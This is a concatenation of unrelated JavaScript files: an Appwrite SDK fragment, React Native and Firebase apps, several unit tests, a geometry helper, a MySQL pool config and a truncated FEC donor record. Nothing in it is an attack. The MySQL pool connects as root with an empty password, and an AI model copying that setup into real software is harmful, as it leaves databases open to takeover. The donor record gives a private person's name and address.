Delete team by its unique ID. Only team owners have write access for this * resource. * * @param {string} teamId * @throws {Error} * @return {Promise} */ delete: function(teamId) { if(teamId === undefined) { throw new Error('Missing required parameter: "teamId"'); } let path = '/teams/{teamId}'.replace(new RegExp('{teamId}', 'g'), teamId); let payload = {}; return http .delete(path, { 'content-type': 'application/json', }, payload); }, /** * Get Team Memberships * * Get team members by the team unique ID. All team members have read access * for this list of resources. * * @param {string} teamId * @throws {Error} * @return {Promise} */ getMemberships: function(teamId) { if(teamId === undefined) { throw new Error('Missing required parameter: "teamId"'); } let path = '/teams/{teamId}/memberships'.replace(new RegExp('{teamId}', 'g'), teamId); let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Create Team Membership * * Use this endpoint to invite a new member to join your team. An email with a * link to join the team will be sent to the new member email address if the * member doesn't exist in the project it will be created automatically. * * Use the 'URL' parameter to redirect the user from the invitation email back * to your app. When the user is redirected, use the [Update Team Membership * Status](/docs/teams#updateMembershipStatus) endpoint to allow the user to * accept the invitation to the team. * * Please note that in order to avoid a [Redirect * Attacks](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.md) * the only valid redirect URL's are the once from domains you have set when * added your platforms in the console interface. * * @param {string} teamId * @param {string} email * @param {array} roles * @param {string} url * @param {string} name * @throws {Error} * @return {Promise} */ createMembership: function(teamId, email, roles, url, name = '') { if(teamId === undefined) { throw new Error('Missing required parameter: "teamId"'); } if(email === undefined) { throw new Error('Missing required parameter: "email"'); } if(roles === undefined) { throw new Error('Missing required parameter: "roles"'); } if(url === undefined) { throw new Error('Missing required parameter: "url"'); } let path = '/teams/{teamId}/memberships'.replace(new RegExp('{teamId}', 'g'), teamId); let payload = {}; if(email) { payload['email'] = email; } if(name) { payload['name'] = name; } if(roles) { payload['roles'] = roles; } if(url) { payload['url'] = url; } return http .post(path, { 'content-type': 'application/json', }, payload); }, /** * Delete Team Membership * * This endpoint allows a user to leave a team or for a team owner to delete * the membership of any other team member. You can also use this endpoint to * delete a user membership even if he didn't accept it. * * @param {string} teamId * @param {string} inviteId * @throws {Error} * @return {Promise} */ deleteMembership: function(teamId, inviteId) { if(teamId === undefined) { throw new Error('Missing required parameter: "teamId"'); } if(inviteId === undefined) { throw new Error('Missing required parameter: "inviteId"'); } let path = '/teams/{teamId}/memberships/{inviteId}'.replace(new RegExp('{teamId}', 'g'), teamId).replace(new RegExp('{inviteId}', 'g'), inviteId); let payload = {}; return http .delete(path, { 'content-type': 'application/json', }, payload); }, /** * Update Team Membership Status * * Use this endpoint to allow a user to accept an invitation to join a team * after he is being redirected back to your app from the invitation email he * was sent. * * @param {string} teamId * @param {string} inviteId * @param {string} userId * @param {string} secret * @throws {Error} * @return {Promise} */ updateMembershipStatus: function(teamId, inviteId, userId, secret) { if(teamId === undefined) { throw new Error('Missing required parameter: "teamId"'); } if(inviteId === undefined) { throw new Error('Missing required parameter: "inviteId"'); } if(userId === undefined) { throw new Error('Missing required parameter: "userId"'); } if(secret === undefined) { throw new Error('Missing required parameter: "secret"'); } let path = '/teams/{teamId}/memberships/{inviteId}/status'.replace(new RegExp('{teamId}', 'g'), teamId).replace(new RegExp('{inviteId}', 'g'), inviteId); let payload = {}; if(userId) { payload['userId'] = userId; } if(secret) { payload['secret'] = secret; } return http .patch(path, { 'content-type': 'application/json', }, payload); } }; let users = { /** * List Users * * Get a list of all the project users. You can use the query params to filter * your results. * * @param {string} search * @param {number} limit * @param {number} offset * @param {string} orderType * @throws {Error} * @return {Promise} */ list: function(search = '', limit = 25, offset = 0, orderType = 'ASC') { let path = '/users'; let payload = {}; if(search) { payload['search'] = search; } if(limit) { payload['limit'] = limit; } if(offset) { payload['offset'] = offset; } if(orderType) { payload['orderType'] = orderType; } return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Create User * * Create a new user. * * @param {string} email * @param {string} password * @param {string} name * @throws {Error} * @return {Promise} */ create: function(email, password, name = '') { if(email === undefined) { throw new Error('Missing required parameter: "email"'); } if(password === undefined) { throw new Error('Missing required parameter: "password"'); } let path = '/users'; let payload = {}; if(email) { payload['email'] = email; } if(password) { payload['password'] = password; } if(name) { payload['name'] = name; } return http .post(path, { 'content-type': 'application/json', }, payload); }, /** * Get User * * Get user by its unique ID. * * @param {string} userId * @throws {Error} * @return {Promise} */ get: function(userId) { if(userId === undefined) { throw new Error('Missing required parameter: "userId"'); } let path = '/users/{userId}'.replace(new RegExp('{userId}', 'g'), userId); let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Get User Logs * * Get user activity logs list by its unique ID. * * @param {string} userId * @throws {Error} * @return {Promise} */ getLogs: function(userId) { if(userId === undefined) { throw new Error('Missing required parameter: "userId"'); } let path = '/users/{userId}/logs'.replace(new RegExp('{userId}', 'g'), userId); let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Get User Preferences * * Get user preferences by its unique ID. * * @param {string} userId * @throws {Error} * @return {Promise} */ getPrefs: function(userId) { if(userId === undefined) { throw new Error('Missing required parameter: "userId"'); } let path = '/users/{userId}/prefs'.replace(new RegExp('{userId}', 'g'), userId); let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Update User Preferences * * Update user preferences by its unique ID. You can pass only the specific * settings you wish to update. * * @param {string} userId * @param {object} prefs * @throws {Error} * @return {Promise} */ updatePrefs: function(userId, prefs) { if(userId === undefined) { throw new Error('Missing required parameter: "userId"'); } if(prefs === undefined) { throw new Error('Missing required parameter: "prefs"'); } let path = '/users/{userId}/prefs'.replace(new RegExp('{userId}', 'g'), userId); let payload = {}; if(prefs) { payload['prefs'] = prefs; } return http .patch(path, { 'content-type': 'application/json', }, payload); }, /** * Get User Sessions * * Get user sessions list by its unique ID. * * @param {string} userId * @throws {Error} * @return {Promise} */ getSessions: function(userId) { if(userId === undefined) { throw new Error('Missing required parameter: "userId"'); } let path = '/users/{userId}/sessions'.replace(new RegExp('{userId}', 'g'), userId); let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Delete User Sessions * * Delete all user sessions by its unique ID. * * @param {string} userId * @throws {Error} * @return {Promise} */ deleteSessions: function(userId) { if(userId === undefined) { throw new Error('Missing required parameter: "userId"'); } let path = '/users/{userId}/sessions'.replace(new RegExp('{userId}', 'g'), userId); let payload = {}; return http .delete(path, { 'content-type': 'application/json', }, payload); }, /** * Delete User Session * * Delete user sessions by its unique ID. * * @param {string} userId * @param {string} sessionId * @throws {Error} * @return {Promise} */ deleteSession: function(userId, sessionId) { if(userId === undefined) { throw new Error('Missing required parameter: "userId"'); } if(sessionId === undefined) { throw new Error('Missing required parameter: "sessionId"'); } let path = '/users/{userId}/sessions/:session'.replace(new RegExp('{userId}', 'g'), userId); let payload = {}; if(sessionId) { payload['sessionId'] = sessionId; } return http .delete(path, { 'content-type': 'application/json', }, payload); }, /** * Update User Status * * Update user status by its unique ID. * * @param {string} userId * @param {string} status * @throws {Error} * @return {Promise} */ updateStatus: function(userId, status) { if(userId === undefined) { throw new Error('Missing required parameter: "userId"'); } if(status === undefined) { throw new Error('Missing required parameter: "status"'); } let path = '/users/{userId}/status'.replace(new RegExp('{userId}', 'g'), userId); let payload = {}; if(status) { payload['status'] = status; } return http .patch(path, { 'content-type': 'application/json', }, payload); } }; return { setEndpoint: setEndpoint, setProject: setProject, setKey: setKey, setLocale: setLocale, setMode: setMode, account: account, avatars: avatars, database: database, locale: locale, projects: projects, storage: storage, teams: teams, users: users }; }; if(typeof module !== "undefined") { module.exports = window.Appwrite; } })((typeof window !== "undefined") ? window : {});
import React from 'react'; import { ActivityIndicator, Alert, Button, Image, Share, StatusBar, StyleSheet, Text, View } from 'react-native'; import { Notifications } from 'expo'; import * as FileSystem from 'expo-file-system'; import * as Font from 'expo-font'; import * as ImagePicker from 'expo-image-picker'; import * as Permissions from 'expo-permissions'; import { AWS_S3_BASE_ENDPOINT, AWS_S3_BUCKET, PUSH_NOTIFICATION_DISABLED } from '../constants/Config'; import {registerForPushNotificationsAsync} from '../api/PushNotificationService'; import {uploadImageToS3BucketAsync} from '../api/AWSS3Service'; import {uploadAndTranslateProcessedData} from '../api/DataService'; import {downloadBubbles, getManifest} from '../api/DerivativeService'; import ErrorBoundary from '../api/ErrorBoundary'; import OAuthForge from '../api/OAuthForge'; import ProcessingScreen from './ProcessingScreen'; import Utils from '../api/Utils'; import {deletePhotoScene, getPhotoSceneLink, pollProcessingStatus, processPhotoScene, setProcessingStatusInProgress} from '../api/RecapService'; import {initBackend, pushS3Url} from '../api/RedisService'; let mTabNav export default class ImageScreen extends React.Component { static navigationOptions = { header: null }; constructor(props) { super(props); this.uploading = false; this.state = { fontLoaded: false, image: null, imageCount: 0, notification: {}, processButtonDisabled: true, processing: false, processingDone: false, processingError: false, s3Svf: null, svfurn: null, urn: null, viewFileButtonDisabled: true }; this.OAuthForge = new OAuthForge(); }; async componentDidMount() { console.info('INFO: Entering componentDidMount...'); await Font.loadAsync({ 'artifakt-element-regular': require('../assets/fonts/ArtifaktElementOfc-Regular.ttf') }); this.setState({ fontLoaded: true }); // Login to Forge using 3-legged oAuth this.OAuthForge.initToken(); // Initialize Redis database initBackend(); // Push notifications registerForPushNotificationsAsync(); // Handle notifications that are received or selected while the app // is open. If the app was closed and then opened by tapping the // notification (rather than just tapping the app icon to open it), // this function will fire on the next tick after the app starts // with the notification data. this._notificationSubscription = Notifications.addListener(this._handleNotification); // Reset ignore flags this.translateIgnore = false; this.manifestStatusIgnore = false; }; componentWillUnmount() { console.info('INFO: Entering componentWillUnmount...'); clearInterval(this.state.processPhotosceneIntervalId); clearInterval(this.state.processTranslationIntervalId); } _handleNotification = (notification) => { this.setState({notification: notification}); } render() { mTabNav = this.props.navigation; return( <View style={{ flex:1, alignItems: 'center', justifyContent: 'center'}}> <ProcessingScreen processing={this.state.processing} /> { this.state.fontLoaded ? ( <Text style={{ fontFamily: 'artifakt-element-regular', fontSize: 20, marginBottom: 20, textAlign: 'center', marginHorizontal: 15 }}>Reality Capture App</Text> ) : null } <Button onPress={ this.pickImage } title='Pick an image from camera roll' /> <Button onPress={ this.takePhoto } title='Take a photo' /> {this.maybeRenderImage()} {this.maybeRenderImageUploadingOverlay()} <StatusBar barStyle="default" /> <ErrorBoundary> <Button onPress={ this.processScene } title='Process Photoscene' disabled={this.state.processButtonDisabled} /> </ErrorBoundary> <ErrorBoundary> <Button title='View File' disabled={this.state.viewFileButtonDisabled} onPress={ () => { mTabNav.navigate('ForgeViewer', { urn: this.state.urn, token: this.OAuthForge.getToken() }) }} /> </ErrorBoundary> </View> ); }; askPermissionsAsync = async () => { const existingCameraStatus = await Permissions.getAsync(Permissions.CAMERA); const existingCameraRollStatus = await Permissions.getAsync(Permissions.CAMERA_ROLL); let finalCameraStatus = existingCameraStatus.status; let finalCameraRollStatus = existingCameraRollStatus.status; // only ask if permissions have not already been determined, because // iOS won't necessarily prompt the user a second time. if(existingCameraStatus.status !== 'granted') { // Android remote notification permissions are granted during the app // install, so this will only ask on iOS const { status } = await Permissions.askAsync(Permissions.CAMERA); finalCameraStatus = status; } if(existingCameraRollStatus.status !== 'granted') { const { status } = await Permissions.askAsync(Permissions.CAMERA_ROLL); finalCameraRollStatus = status; } if(finalCameraStatus !== 'granted' || finalCameraRollStatus !== 'granted') { return; } return { 'cameraStatus': finalCameraStatus, 'cameraRollStatus': finalCameraRollStatus}; } handleImagePicked = async pickerResult => { try { if (!this.uploading) { this.uploading = true; } if (!pickerResult.cancelled) { const imageInfo = await FileSystem.getInfoAsync(pickerResult.uri); console.info(`INFO: File to upload info: ${JSON.stringify(imageInfo)}`); const uploadResult = await uploadImageToS3BucketAsync(pickerResult.uri); console.info(`INFO: Upload to S3 Response: ${JSON.stringify(uploadResult)}`); if(uploadResult) { this.setState({ image: uploadResult.s3Url, imageCount: this.state.imageCount + 1 }); if (this.state.imageCount > 2) { // can only send a photoscene for processing if more than 3 images have been added this.setState({ processButtonDisabled: false }); } await pushS3Url(uploadResult.s3Url); } } } catch (e) { Alert.alert( 'Application Error', 'Upload failed, please try again!' ); } finally { this.setState({ uploading: false }); } }; maybeRenderImage = () => { let { image } = this.state; if (!image) { return; } return( <View style={{ marginTop: 30, width: 200, borderRadius: 3, elevation: 2, shadowColor: 'rgba(0,0,0,1)', shadowOpacity: 0.2, shadowOffset: { width: 4, height: 4 }, shadowRadius: 5 }}> <View style={{ borderTopRightRadius: 3, borderTopLeftRadius: 3, overflow: 'hidden' }}> <Image source={{ uri: image }} style={{ width: 200, height: 200 }} /> </View> <Text onPress={this.share} style={{ paddingVertical: 10, paddingHorizontal: 10, fontSize: 10 }}>{image}</Text> </View> ); } maybeRenderImageUploadingOverlay = () => { if (this.state.uploading) { return ( <View style={[ StyleSheet.absoluteFill, { backgroundColor: 'rgba(0,0,0,0.4)', alignItems: 'center', justifyContent: 'center' } ]}> <ActivityIndicator color="#fff" animating size="large" /> </View> ); } } pickImage = async() => { const permStatuses = await this.askPermissionsAsync(); if(permStatuses) { const pickerResult = await ImagePicker.launchImageLibraryAsync({ mediaTypes: 'Images', allowsEditing: true, aspect: [4, 3], quality: 1 }); this.handleImagePicked(pickerResult); } }; processScene = async() => { this.setState({ processing: true }); try { await setProcessingStatusInProgress(); const processResult = await processPhotoScene(); if (processResult) { if (PUSH_NOTIFICATION_DISABLED) { // iOS simulator does not support push notifications const intervalId = setInterval(async () => { if(this.state.processing) { const progressResult = await pollProcessingStatus(); const photoscenelink = await getPhotoSceneLink(); if( progressResult.processingstatus === 'Completed' && !this.translateIgnore && photoscenelink.photoscenelink !== 'blank') { console.info('INFO: Processing is complete and photoscenelink is available to upload to Autodesk Cloud...'); this.translateIgnore = true; this.setState({ processing: false }); clearInterval(this.state.processPhotosceneIntervalId); this.uploadAndTranslate(); } } }, 1000) this.setState({ processPhotosceneIntervalId: intervalId }); } else { // Push notifications setInterval( async () => { if(this.state.processing) { if (this.state.notification.data && this.state.notification.data.Photoscene.scenelink !== 'blank') { this.setState({ processing: false }); this.uploadAndTranslate(); } } }, 1000) } } } catch (error) { Alert.alert( 'Application Error', `${error.message}`, [ { text: 'Cancel', onPress: () => { console.info('Cancel pressed, please restart the app!'); }, style: 'cancel' }, { text: 'Retry', onPress: () => { initBackend(); // Reset ignore flags this.translateIgnore = false; this.manifestStatusIgnore = false; } } ], { cancelable: false } ); } } share = () => { Share.share({ message: this.state.image, title: 'Check out this photo', url: this.state.image }); } takePhoto = async () => { const permStatuses = await this.askPermissionsAsync(); if(permStatuses) { const pickerResult = await ImagePicker.launchCameraAsync({ mediaTypes: 'Images', allowsEditing: true, aspect: [4, 3] }); this.handleImagePicked(pickerResult); } } uploadAndTranslate = async () => { this.setState({ processButtonDisabled: true }); try { const uploadResult = await uploadAndTranslateProcessedData(); console.info(`uploadResult: ${JSON.stringify(uploadResult)}`); if(uploadResult && uploadResult.statusCode === 200) { let manifestStatus = 'notstarted'; let urn; const intervalId = setInterval(async () => { if (this.state.viewFileButtonDisabled) { if (manifestStatus !== 'success') { const manifestResult = await getManifest(); if(manifestResult) { manifestStatus = manifestResult.status; urn = manifestResult.urn; } } if (manifestStatus === 'success' && !this.manifestStatusIgnore && urn) { this.manifestStatusIgnore = true; console.info(`INFO: setting urn: ${urn}`); const downloadURNsResult = await downloadBubbles(); console.info(`downloadURNsResult: ${JSON.stringify(downloadURNsResult)}`); if(downloadURNsResult) { const s3Url = `${AWS_S3_BASE_ENDPOINT}/${AWS_S3_BUCKET}/result.obj.svf`; this.setState({ urn: urn, s3Svf: s3Url, viewFileButtonDisabled: false }); await deletePhotoScene(); clearInterval(this.state.processTranslationIntervalId); } } } }, 1000) this.setState({ processTranslationIntervalId: intervalId }); } } catch(error) { Alert.alert( 'Application Error', `${error.message}`, [ { text: 'Cancel', onPress: () => { console.info('Cancel pressed, please restart the app!'); }, style: 'cancel' }, { text: 'Retry', onPress: () => { initBackend(); // Reset ignore flags this.translateIgnore = false; this.manifestStatusIgnore = false; } } ], { cancelable: false } ); } } }
/* Copyright 2010-2011 Portland Transport Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /** * Loosely modeled on jquery.parsequery.js by Michael Manning (http://actingthemaggot.com) **/ trArrParseQuery = function(qs) { var q = (typeof qs === 'string'?qs:window.location.search); var params = {}; jQuery.each(q.match(/^\??(.*)$/)[1].split('&'),function(i,p){ p = unescape(p).replace(/\+/g,' ').replace(/\]/g,''); p = p.split('='); var keys = p[0].split('['); var value = p[1]; var depth = keys.length; if (depth == 1) { // actually shouldn't happen, should always have at least two levels if (params[keys[0]] == undefined) { params[keys[0]] = {}; } params[keys[0]][value] = true; } if (depth == 2) { if (params[keys[0]] == undefined) { params[keys[0]] = {}; } if (params[keys[0]][keys[1]] == undefined) { params[keys[0]][keys[1]] = {}; } params[keys[0]][keys[1]][value] = true; } if (depth == 3) { if (params[keys[0]] == undefined) { params[keys[0]] = {}; } if (params[keys[0]][keys[1]] == undefined) { params[keys[0]][keys[1]] = {}; } if (params[keys[0]][keys[1]][keys[2]] == undefined) { params[keys[0]][keys[1]][keys[2]] = {}; } params[keys[0]][keys[1]][keys[2]][value] = true; } }); return params; }
const { Rule, Validator } = require('../../src'); test('test the hole object to be true', () => { const vComplexe = new Validator({ age: new Rule({ type: 'int', min: 18, max: 99 }), dateOfBirth: new Rule({ type: 'date' }), array: new Rule({ type: 'array', of: new Rule({ type: 'string' }) }), }); expect(vComplexe.test({ age: 26, dateOfBirth: new Date(1995, 10, 3), array: ['1'], })).toBe(true); }); test('test the hole object to be false', () => { const vComplexe = new Validator({ age: new Rule({ type: 'int', min: 18, max: 99 }), dateOfBirth: new Rule({ type: 'date' }), array: new Rule({ type: 'array', of: new Rule({ type: 'string' }) }), }); expect(vComplexe.test({ age: 26, dateOfBirth: new Date(1995, 10, 3), array: [1], })).toBe(false); }); test('test custom', () => { function f(age, object) { if (age === Math.floor((new Date() - object.dateOfBirth) / 1000 / 60 / 60 / 24 / 30 / 12)) { return true; } return false; } const vComplexe = new Validator({ age: new Rule({ type: 'int', min: 18, max: 99, custom: f, }), dateOfBirth: new Rule({ type: 'date' }), }); expect(vComplexe.test({ age: 23, dateOfBirth: new Date(1995, 10, 3), array: ['1'], })).toBe(true); }); test('test getErrors must return an array of errors', () => { const vComplexe = new Validator({ age: new Rule({ type: 'int', min: 18, max: 99, }, 'age must be integer and between 18 and 99'), dateOfBirth: new Rule({ type: 'date' }, 'date must be a date'), name: new Rule({ type: 'string' }, (key, value) => `${key} must be a string, ${value} is not a string`), }); expect(vComplexe.getErrors({ age: 16, dateOfBirth: new Date(), name: 1, })).toEqual(['age must be integer and between 18 and 99', 'name must be a string, 1 is not a string']); }); test('test getErrors return array of errors even with object as rule error', () => { const vComplexe = new Validator({ age: new Rule({ type: 'int', min: 18, max: 99, }, { type: 'age must be an integer.', min: (key, value) => `age must be greater then 18, ${value} is not enough.`, }), dataOfBirth: new Rule({ type: 'date' }, 'date must be a date'), }); expect(vComplexe.getErrors({ age: 16, dateOfBirth: 1, })).toEqual([ 'age must be greater then 18, 16 is not enough.', 'date must be a date', ]); expect(vComplexe.getErrors({ age: '16', dateOfBirth: 1, })).toEqual([ 'age must be an integer.', 'date must be a date', ]); expect(vComplexe.getErrors({ age: 102, // there is no error definition for this key dateOfBirth: 1, })).toEqual([ 'date must be a date', ]); }); test('test test over an array of values', () => { const vComplexe = new Validator({ age: new Rule({ type: 'int', min: 18, max: 99, }), }); expect(vComplexe.testAll([{ age: 19, }, { age: 16, }])).toBe(1); }); test('test over multiple values and return -1', () => { const vComplexe = new Validator({ age: new Rule({ type: 'int', min: 18, max: 99, }), }); expect(vComplexe.testAll([{ age: 19, }, { age: 20, }])).toBe(-1); });
//최종 import React, { Component } from "react"; import firebase, { auth, provider } from "./firebase"; import { connect } from "react-redux"; import "./App.css"; import { sendMessage } from "./chat"; import Modal from 'react-responsive-modal'; class App extends Component { constructor(props) { super(props); // 리액트 클래스의 생성자를 미리 실행후 state설정을 해준다. this.login = this.login.bind(this); this.logout = this.logout.bind(this); this.onOpenModal = this.onOpenModal.bind(this); this.onCloseModal = this.onCloseModal.bind(this); this.state = { input: "", user: null, open: false }; } _handleText = e => { this.setState({ input: e.target.value }); }; //login 버튼 실행시 google login popup 뜨고 login 성공 시 user set login = () => { auth.signInWithRedirect(provider); }; //logout 버튼 실행시 user값 null logout = () => { auth.signOut().then(() => { this.setState({ user: null }); }); window.location.reload(); //페이지 새로고침 }; //login 상태 확인 checkAuthState = () => { auth.onAuthStateChanged(user => { if (user) { this.setState({ user }); } }); }; //자동으로 스크롤 내리기 autoscroll() { var d = document.getElementById("message"); d.scrollTop = d.scrollHeight; console.log(d); } componentDidMount() { this.checkAuthState(); this.autoscroll(); } componentDidUpdate() { this.autoscroll(); } //입력 눌렀을 때 실행 inputText = input => { const { sendMessage } = this.props; if (input === "") { return 0; } else { sendMessage(input); this.keyReset(); this.setState({ input: "" }); this.autoscroll(); } this.autoscroll(); }; //메모 함수 구현 note = input => { if (this.state.user === null) { alert("Google login 해주세요."); } else { var memoRef = firebase.database().ref("memos/" + this.state.user.uid); var txt = input; if (txt === "") { return; } memoRef.push({ txt: txt, creatData: new Date().getTime() }); //alert("저장되었습니다."); this.setState({ input: "" }); this.keyReset(); } }; //search + list search = input => { const {sendMessage} = this.props; if (this.state.user === null) { alert("로그인 먼저 해주세요"); return 0; } else { var txt; if (input === "") { txt = "저장된 메모 리스트입니다."; } else { txt = input + "로 검색한 결과입니다."; } sendMessage(txt, "MEMO_LIST", "bot"); var ref = firebase.database().ref("memos/" + this.state.user.uid); ref.on("child_added", function (e) { var message = e.val().txt; var key = e.key; if (input === "") { sendMessage(message, "MEMO_LIST", "bot_list", key); } else { if (message.match(input)) { sendMessage(message, "MEMO_LIST", "bot_list", key); } } }); this.keyReset(); } } //삭제 함수 delete(e){ //x버튼을 누루면 const { sendMessage } = this.props; var ref = firebase.database().ref("memos/" + this.state.user.uid); var tmp_key = firebase.database().ref("memos/" + this.state.user.uid + '/' + e); var txt = "새로 갱신한 리스트입니다." console.log(e); if (window.confirm("삭제 하시겠습니까??")) { tmp_key.remove(); sendMessage(txt, "MEMO_LIST", "bot"); ref.on("child_added", function (e) { var message = e.val().txt; sendMessage(message, "MEMO_LIST", "bot_list"); }); } else { return; } }; getOpenSourceList(){ var ref = firebase.database().ref("opensrc/data"); ref.on("value", function (e) { var list = e.val(); console.log(list); document.getElementById("opensrc").innerText=list; }); } onOpenModal = () => { this.setState({ open: true }); }; onCloseModal = () => { this.setState({ open: false }); }; //입력창 초기화 keyReset() { document.getElementById("message_box").value = ""; document.getElementById("search_box").value = ""; this.setState({ input: "" }); } //화면에 랜더링(표시) render() { const { feed } = this.props; return ( <div className="Whole_container"> <header className="Header"> <div className="In_header"> <div className="In_in_header"> <h1>Kookmini</h1> </div> <div id="user-container"> {this.state.user ? ( <button className="sign_button" onClick={this.logout}>sign Out</button> ): ( <button className="sign_button" onClick={this.login}>Sign in with Google</button> )} <button className="os_button" onClick={() => {this.onOpenModal()}}>☆</button> </div> </div> </header> <main> <div className="in_main"> <div className="in_in_main"> <div className="message_card"> <div id="search_from"> <textarea type="text" id="search_box" placeholder="?" /> <button id="button_2" onClick={() => { this.search(document.getElementById("search_box").value); }}>검색</button> </div> <div id="message">{feed.map(entry => ( <div sender={entry.sender}> {entry.text} <button sender={entry.sender} onClick={() => {this.delete(entry.key);}}>X</button> </div> ))} </div> <div id="message-form"> <textarea type="text" id="message_box" value={this.state.input} onChange={this._handleText} placeholder="궁금한점?"/> <button id="button_2" onClick={() => {this.inputText(this.state.input);}}>입력</button> <button id="button_2" onClick={() => {this.note(this.state.input);}}>메모</button> </div> </div> </div> </div> </main> <Modal open={this.state.open} width="60%" height="80%" effect="fadeInUp" onClose={this.onCloseModal}> <div> <h2> <button id="open" onClick={() => this.getOpenSourceList()}>오픈소스 사용정보</button> </h2> <div id="opensrc"></div> <button id="close" onClick={() => this.onCloseModal()}>닫기</button> </div> </Modal> </div> ); } } const mapStateToProps = state => ({ feed: state }); export default connect( mapStateToProps, { sendMessage } )(App);
// Copyright (C) 2015 the V8 project authors. All rights reserved. // This code is governed by the BSD license found in the LICENSE file. /*--- es6id: 11.6 description: > SyntaxError expected: reserved words used as Identifier Names in UTF8: instanceof negative: phase: early type: SyntaxError ---*/ var insta\u{6e}ceof = 123;
/* jshint expr:true */ import { describeComponent, it } from 'ember-mocha'; describeComponent('gh-trim-focus-input', function () { it('trims value on focusOut', function () { var component = this.subject({ value: 'some random stuff ' }); this.render(); component.$().focusout(); expect(component.$().val()).to.equal('some random stuff'); }); });
const flatten = require('@turf/flatten').default; const pointToLineDistance = require('@turf/point-to-line-distance').default; const polygonToLineString = require('@turf/polygon-to-linestring').default; function pointOnPolygonBorder(point, polygon) { return flatten(polygonToLineString(polygon)) .features .some((lineString) => pointToLineDistance(point, lineString, { units: 'meters' }) < 0.01); } module.exports = pointOnPolygonBorder;
import React from 'react'; import { Router } from 'react-router-dom'; import { Provider } from 'react-redux'; import { createMemoryHistory } from 'history'; import '@testing-library/jest-dom'; import 'whatwg-fetch'; import { render, screen } from '@testing-library/react'; import { rest } from 'msw'; import App from '../containers/App'; import configureStore from '../configureStore'; import { server } from './handler'; import { API_ENDPOINT } from '../../server/api'; let history; const renderApp = () => { history = createMemoryHistory(); history.push('/person/1'); const store = configureStore({}, history); return render( <Provider store={store}> <Router history={history}> <App /> </Router> </Provider>, ); }; describe('Test Peoples Page', () => { // listen beforeEach(() => { server.listen(); }); // clean up once the tests are done afterEach(() => { server.resetHandlers(); server.close(); }); it('It should display person details', async () => { renderApp(); // It should initially display loading people text expect(await screen.findByText(/Loading Person.../)).toBeInTheDocument(); // Once the Page has loaded it should display the text 'Person Details are:' expect( await screen.findByText(/Person Details are:/i, {}, { timeout: 3000 }), ).toBeInTheDocument(); expect(screen.getByText(/Name: Luke Skywalker/i)); expect(screen.getByText(/No of starships: 2/i)); expect(screen.getByText(/No of vehicles: 2/i)); }); it('It should display error message when get person call results in error', async () => { server.use( rest.get(`${API_ENDPOINT}/people/:id`, (req, res, ctx) => res(ctx.status(400)), ), ); renderApp(); /** * Test the following flows: * 1. Should display error message when get Person call results in error. */ // It should initially display loading people text expect(screen.getByText(/Loading Person.../)).toBeInTheDocument(); // Once the Page has loaded it should display the text 'Peoples in Starwar' expect( await screen.findByText( /Something went wrong.../i, {}, { timeout: 3000 }, ), ).toBeInTheDocument(); }); it('It should display message when get person call returns no data', async () => { server.use( rest.get(`${API_ENDPOINT}/people/:id`, (req, res, ctx) => res(ctx.status(200), ctx.json({})), ), ); renderApp(); /** * Test the following flows: * 1. Should display message when get Person call has no results.. */ // It should initially display loading people text expect(screen.getByText(/Loading Person.../)).toBeInTheDocument(); // Once the Page has loaded it should display the text 'Peoples in Starwar' expect( await screen.findByText( /Person Details Not found/i, {}, { timeout: 3000 }, ), ).toBeInTheDocument(); }); });
/** * MySQL数据库连接池 */ const mysql = require('mysql'); var pool = mysql.createPool({ host: '127.0.0.1', //数据库地址 port: 3306, //数据库端口 user: 'root', //数据库管理员 password: '', //数据库管理员密码 database: 'xiaofeiniu', //默认连接的数据库 connectionLimit: 15 //连接池中连接大小 }); module.exports = pool;
mycallback( {"CONTRIBUTOR OCCUPATION": "Homemaker", "CONTRIBUTION AMOUNT (F3L Bundled)": "100.00", "ELECTION CODE": "G2010", "MEMO CODE": "", "CONTRIBUTOR EMPLOYER": "None", "DONOR CANDIDATE STATE": "", "CONTRIBUTOR STREET 1": "7 Braid Hill Dr", "CONTRIBUTOR MIDDLE NAME": "", "DONOR CANDIDATE FEC ID": "", "DONOR CANDIDATE MIDDLE NAME": "", "CONTRIBUTOR STATE": "KS", "DONOR CANDIDATE FIRST NAME": "", "CONTRIBUTOR FIRST NAME": "Teresa", "BACK REFERENCE SCHED NAME": "", "DONOR CANDIDATE DISTRICT": "", "CONTRIBUTION DATE": "20100915", "DONOR COMMITTEE NAME": "", "MEMO TEXT/DESCRIPTION": "", "Reference to SI or SL system code that identifies the Account": "", "FILER COMMITTEE ID NUMBER": "C00019380", "DONOR CANDIDATE LAST NAME": "", "CONTRIBUTOR LAST NAME": "Krusor", "_record_type": "fec.version.v7_0.SA", "CONDUIT STREET2": "", "CONDUIT STREET1": "", "DONOR COMMITTEE FEC ID": "", "CONTRIBUTION PURPOSE DESCRIP": "", "CONTRIBUTOR ZIP": "671566303", "CONTRIBUTOR STREET 2": "", "CONDUIT CITY": "", "ENTITY TYPE": "IND", "CONTRIBUTOR CITY": "Winfield", "CONTRIBUTOR SUFFIX": "", "TRANSACTION ID": "C2277560", "DONOR CANDIDATE SUFFIX": "", "DONOR CANDIDATE OFFICE": "", "CONTRIBUTION PURPOSE CODE": "", "ELECTION OTHER DESCRIPTION": "", "_src_file": "2011/20110504/727387.fec_1.yml", "CONDUIT STATE": "", "CONTRIBUTOR ORGANIZATION NAME": "", "BACK REFERENCE TRAN ID NUMBER": "", "DONOR CANDIDATE PREFIX": "", "CONTRIBUTOR PREFIX": "", "CONDUIT ZIP": "", "CONDUIT NAME": "", "CONTRIBUTION AGGREGATE F3L Semi-annual Bundled": "900.00", "FORM TYPE": "SA11AI"}); mycallback( {"CONTRIBUTOR OCCUPATION": "Homemaker", "CONTRIBUTION AMOUNT (F3L Bundled)": "100.00", "ELECTION CODE": "G2010", 